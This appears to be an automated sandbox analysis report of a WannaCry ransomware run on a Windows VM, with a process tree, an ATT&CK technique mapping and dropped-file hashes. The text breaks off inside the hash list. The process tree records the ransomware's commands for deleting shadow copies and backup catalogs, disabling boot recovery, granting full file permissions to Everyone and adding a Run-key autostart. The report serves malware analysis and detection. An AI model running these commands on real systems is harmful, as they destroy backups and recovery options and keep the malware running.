"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6624 /prefetch:1
2⤵
PID:4976

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3660 /prefetch:1
2⤵
PID:2484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1276 /prefetch:1
2⤵
PID:6084

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6436 /prefetch:1
2⤵
PID:5844

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6492 /prefetch:1
2⤵
PID:6076

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6920 /prefetch:1
2⤵
PID:6124

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2968 /prefetch:8
2⤵
PID:5692

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5432 /prefetch:8
2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:5700

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1696 /prefetch:1
2⤵
PID:3160

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5868 /prefetch:1
2⤵
PID:2760

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7092 /prefetch:1
2⤵
PID:5416

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1268 /prefetch:1
2⤵
PID:3308

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5304 /prefetch:8
2⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:4796

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7720 /prefetch:8
2⤵
PID:5156

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1664

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1120

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2200

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3360

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2592

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4888

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\AppData\Local\Temp\Temp1_Aimware.zip\Aimware.rar"
2⤵
PID:1616

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url C:\Users\Admin\AppData\Local\Temp\Temp1_Aimware.zip\Aimware.rar
3⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4816

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4816.0.854236086\509022988" -parentBuildID 20230214051806 -prefsHandle 1756 -prefMapHandle 1488 -prefsLen 22074 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fb64ca05-3ec4-4722-b4e0-290e0641175d} 4816 "\\.\pipe\gecko-crash-server-pipe.4816" 1848 1fc45f0b158 gpu
4⤵
PID:4236

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4816.1.1477671103\1766893235" -parentBuildID 20230214051806 -prefsHandle 2380 -prefMapHandle 2376 -prefsLen 22925 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7f7244bb-d872-4f45-a619-40b804ceb92c} 4816 "\\.\pipe\gecko-crash-server-pipe.4816" 2392 1fc3918a258 socket
4⤵
- Checks processor information in registry
PID:2732

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4816.2.1353100045\2125261691" -childID 1 -isForBrowser -prefsHandle 2892 -prefMapHandle 2764 -prefsLen 22963 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5eb32db5-7ab7-49e3-a784-1983d825607b} 4816 "\\.\pipe\gecko-crash-server-pipe.4816" 2576 1fc44f8e658 tab
4⤵
PID:5340

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4816.3.708762282\191451577" -childID 2 -isForBrowser -prefsHandle 3460 -prefMapHandle 3220 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {843706a6-835d-408b-be56-5343575614c8} 4816 "\\.\pipe\gecko-crash-server-pipe.4816" 2516 1fc4b59ee58 tab
4⤵
PID:5480

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4816.4.1581203878\310416775" -childID 3 -isForBrowser -prefsHandle 5312 -prefMapHandle 5308 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d21b734e-2091-42f2-8aec-840857b10956} 4816 "\\.\pipe\gecko-crash-server-pipe.4816" 5320 1fc4e2c9c58 tab
4⤵
PID:6048

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4816.5.1317422500\242059338" -childID 4 -isForBrowser -prefsHandle 5456 -prefMapHandle 5460 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7ae32f0e-e152-448c-a863-3f2ed80631fc} 4816 "\\.\pipe\gecko-crash-server-pipe.4816" 5448 1fc4e2c8d58 tab
4⤵
PID:6056

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4816.6.1940813658\1553549593" -childID 5 -isForBrowser -prefsHandle 5648 -prefMapHandle 5652 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1336 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f3a2a29-7f90-4dfc-a12a-24908e434383} 4816 "\\.\pipe\gecko-crash-server-pipe.4816" 5640 1fc4e2c8a58 tab
4⤵
PID:6064

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\Downloads\Aimware(1).rar"
1⤵
PID:5832

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url C:\Users\Admin\Downloads\Aimware(1).rar
2⤵
- Checks processor information in registry
PID:5888

C:\Users\Admin\Downloads\WannaCry.EXE
"C:\Users\Admin\Downloads\WannaCry.EXE"
1⤵
- Drops startup file
- Executes dropped EXE
- Sets desktop wallpaper using registry
PID:5664

C:\Windows\SysWOW64\attrib.exe
attrib +h .
2⤵
- Views/modifies file attributes
PID:2444

C:\Windows\SysWOW64\icacls.exe
icacls . /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:5144

C:\Users\Admin\Downloads\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:992

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c 2651714827294.bat
2⤵
PID:5472

C:\Windows\SysWOW64\cscript.exe
cscript.exe //nologo m.vbs
3⤵
PID:464

C:\Windows\SysWOW64\attrib.exe
attrib +h +s F:\$RECYCLE
2⤵
- Views/modifies file attributes
PID:5276

C:\Users\Admin\Downloads\@[email protected]
@[email protected] co
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5292

C:\Users\Admin\Downloads\TaskData\Tor\taskhsvc.exe
TaskData\Tor\taskhsvc.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2028

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /b @[email protected] vs
2⤵
PID:1892

C:\Users\Admin\Downloads\@[email protected]
@[email protected] vs
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5556

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
4⤵
PID:6104

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3968

C:\Users\Admin\Downloads\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:5592

C:\Users\Admin\Downloads\taskse.exe
taskse.exe C:\Users\Admin\Downloads\@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4260

C:\Users\Admin\Downloads\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
PID:3064

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "kiqhvmgs156" /t REG_SZ /d "\"C:\Users\Admin\Downloads\tasksche.exe\"" /f
2⤵
PID:5648

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "kiqhvmgs156" /t REG_SZ /d "\"C:\Users\Admin\Downloads\tasksche.exe\"" /f
3⤵
- Adds Run key to start application
- Modifies registry key
PID:1312

C:\Users\Admin\Downloads\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:3392

C:\Users\Admin\Downloads\taskse.exe
taskse.exe C:\Users\Admin\Downloads\@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2228

C:\Users\Admin\Downloads\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1244

C:\Users\Admin\Downloads\taskse.exe
taskse.exe C:\Users\Admin\Downloads\@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6048

C:\Users\Admin\Downloads\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:2748

C:\Users\Admin\Downloads\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2700

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1444

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:924

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\PushDisable.cfg"
2⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4752

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\JoinConnect.htm
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3240

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe782b3cb8,0x7ffe782b3cc8,0x7ffe782b3cd8
2⤵
PID:5108

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1992,9713779777559505945,14339017884180850764,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2020 /prefetch:2
2⤵
PID:5512

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1992,9713779777559505945,14339017884180850764,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1916

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1992,9713779777559505945,14339017884180850764,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2776 /prefetch:8
2⤵
PID:1776

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,9713779777559505945,14339017884180850764,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3572 /prefetch:1
2⤵
PID:5192

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,9713779777559505945,14339017884180850764,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3592 /prefetch:1
2⤵
PID:3592

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1992,9713779777559505945,14339017884180850764,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5076 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4240

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1992,9713779777559505945,14339017884180850764,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5312 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3756

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2540

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\@[email protected]
Filesize
585B

MD5
1e9515e45917cef12d7015f31775a553

SHA1
ad09d232c4b9518a1d551f8f3695795f68e5ec93

SHA256
e72e9f7ddb60f9ccc8357d7b1aff7043fc94c9b0339918825bbd8cd8dfa96d25

SHA512
53384d15af54364946bc793952cdae8486f6bafcc0a32a1fe4ba01a9015823f92c2bb13738061c3d74749135d38bd081d4c56ff3ddefbebb8af2382cf3f9a316

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
046d49efac191159051a8b2dea884f79

SHA1
d0cf8dc3bc6a23bf2395940cefcaad1565234a3a

SHA256
00dfb1705076450a45319666801a3a7032fc672675343434cb3d68baccb8e1f7

SHA512
46961e0f0e4d7f82b4417e4aac4434e86f2130e92b492b53a194255bd3bba0855069524cd645f910754d4d2dbf3f1dc467bcc997f01dc6b1d8d6028e2d957236

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
0feba345f2fa3faa3f0e50acc8986490

SHA1
4a765f9cdb65717cf9722d0527eed54b137d26f1

SHA256
a6167f21c59c41df4bcb0027b716b97b84c91a0d94e5168ad1ed998d11cafdef

SHA512
3319cf0711f6758eb316be835cdeab63b31992e97dfa581ef9c3a42114a8df61947f1f449ab77e3b2c7d5104e76d0e6c538deda780e0a73b985c79fe17950237

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
34d22039bc7833a3a27231b8eb834f70

SHA1
79c4290a2894b0e973d3c4b297fad74ef45607bb

SHA256
402defe561006133623c2a4791b2baf90b92d5708151c2bcac6d02d2771cd3d6

SHA512
c69ee22d8c52a61e59969aa757d58ab4f32492854fc7116975efc7c6174f5d998cc236bbf15bce330d81e39a026b18e29683b6d69c93d21fea6d14e21460a0a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
4KB

MD5
742f2bdf9046a9dce74029db3e6f4a32

SHA1
f95981cffa4aa63b0aca27a5f072a4e7541abb6e

SHA256
e259723d9f529aa774be56440f6f40ae5e7ff23a0a35095c77c484ba05875787

SHA512
53136141cf373581382c1247c74c8fd8c6ae80f3d3409fd149d14649f55ddc3ec3b26b4f4c4e593fdbaf8db7d34c0f3b8255bc076d4db74ff710dc68e4dd5620

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
864B

MD5
0591a09250b35c47c85e482dd06f58f7

SHA1
8c78b307d0cc156c8344ee30b489c505372cfc08

SHA256
9131aeb35874d581ead6c3b541b196f695d02d76a9ac4f5e767befce2c6079e1

SHA512
cfba31f29ebfeb4b808781064c6dba118a310757d06a12a5c4439e62f4f5baee729e4dacc63f65568f4cb97dd4aef259e0e8d378c77fe8610f55b357ae1b44e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1
Filesize
264KB

MD5
1839797b2543ee258baddec142eb9220

SHA1
854558e30474a1297c17ea6685aae58bae3b3bd1

SHA256
cbef76f60c5b99a0206e11899d6fe425ca34208c119800861ef562215243004f

SHA512
9144ca8c0718d74a813c0b5f1ff2f12d549b6c01727a3c179010c5df435adcd684bbce323c57282bda292af62b0569f51d19e8e9a7627603d3705869c9e61941

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
2KB

MD5
d78b48b6f60a36c3761febec44762241

SHA1
98d02fa2c40acd58f228e1259d1575160ea82300

SHA256
89b920ca32e21f11ee647154d1749ef08f917d453db58ac9c8970e3d5e408026

SHA512
f11918a86d8eac125495af72c25c4521bb04aa36072bcd2d8b1e13fcce6e43a2f644fe6d25340e8112aedb5ba0a6238ce575190c19dfcc425158591b68cdfe5c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
3KB

MD5
390cef46752e6cbde6fbb2eb07265595

SHA1
09fb60da6d5a9b663ca509151e95b80a1a59b443

SHA256
2647956e6c3e8390b339bc082089e6fcc6973627f0d87a1e680aeb0a0ebed7bc

SHA512
9fb1637d4015059bd43b8c39995416adc387009d49b003f22c33b83a7187000c54d5097b85711fdbfa50edc9968e16ea98f09c5092ca055c912617d6d81bfc3a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
3KB

MD5
16451d2ffa2f9e69d4af74da0e86d88d

SHA1
a2e0be76dbe1d130f6b00afb7aff8c2b113eb25b

SHA256
8781ede17dd16c2bc592a979bdb9348531a010f21b66c5b84dc1dfb1eb2d09dd

SHA512
fc9f061e4177f811d77b37f72304a96071ef41c499ebc015a3cd06578ada576c528a814ce246b942dd0177d313aca6c09286d8ac85476ada4f49e8ed5869bdf2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
5KB

MD5
61c4568e12f6c078dfdf841b5820d4b1

SHA1
eebc076612ef9fe1d6ca4e14796bf7a49378598b

SHA256
7f3b0cd277df5466036257ee38b3d9f6be1230d9655d02666d58990e968831bc

SHA512
5c36e6fb8ff8876d5f43a42cf032c1b20097fc1ccf78d229abbe36ae4d73ee49dfa6f836ef17c66d8d5b8dc7e24c3bffbb8947895c9ae2cb5edcc654c7294805

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
8KB

MD5
a2363f85ab973d9385d78f8c387705e7

SHA1
a5d396c55ca218bb081b8fb26ceae1c418b4d20a

SHA256
54dcbe44839ab5040ec74d7d403415f66787f3eca0b28305e56595ecb9854c42

SHA512
48635d20a12c7fdbf4ba8fd406fdd78228cd78b24f75c56d1e68bf3fcbf24ff5cc466cfae8f0a912db3e7f479e00478037bed15bca14937078dc9550826359c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
8KB

MD5
0033cf66920abdb1644d648908edb374

SHA1
6bcceca40403ee617354eaae4a866aebb4ceb872

SHA256
28ffe16a5cc0619b42e23d467e2e4e218adba8af0f458c38a662dc1f974f44a7

SHA512
a00bda7be0949f07957e21134f0951ea8c39721c5485def46d8032bbb660ddbbc6641ef6fe2d1a7adeff3a2e23974260130ed84390f4f966f6398c67156ef1c4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
8KB

MD5
755c8f602721dbf07ade1eb63d49b986

SHA1
8b4e2a87d3b60a43b33ad534d08d65a8e2ab6444

SHA256
c7c754500d6ebee90521e06690921850a90b75349cc93155e8eb6e19bdc72340

SHA512
1750baa4d7510756f81ffbe59a2b3f6b41e753cbd0d081a80b0929eb2a517de53ddacd9062f6d421f52a1f3803d8122e5652b63b12cb0367ea7dc87786c004a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
8KB

MD5
0986d10ee5288ba4ef1e17fdab2e1a00

SHA1
30e9ddc741d1c5fe306bf715978e9329a7f35395

SHA256
5e44d9c49a100f9c5eb34374cde7e379cbe486c5ee4207fd25240e65008ead8e

SHA512
57d36482acb7e5f73a84644d746cd7f260222dd9fa2d70e26bac6bb583bb866f4fe20fb4656557e497d1a43621f1709c8e12e31fcf34b65f9f6a01014e4c9b80

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
7KB

MD5
648f321df26056435aaa72288c52557f

SHA1
0b624949361055856a10bb79830ae550158906f2

SHA256
b7942d413ea3025e33285e7b37ca8c5825af00affbe93b1ff8820e7e0dca4e9f

SHA512
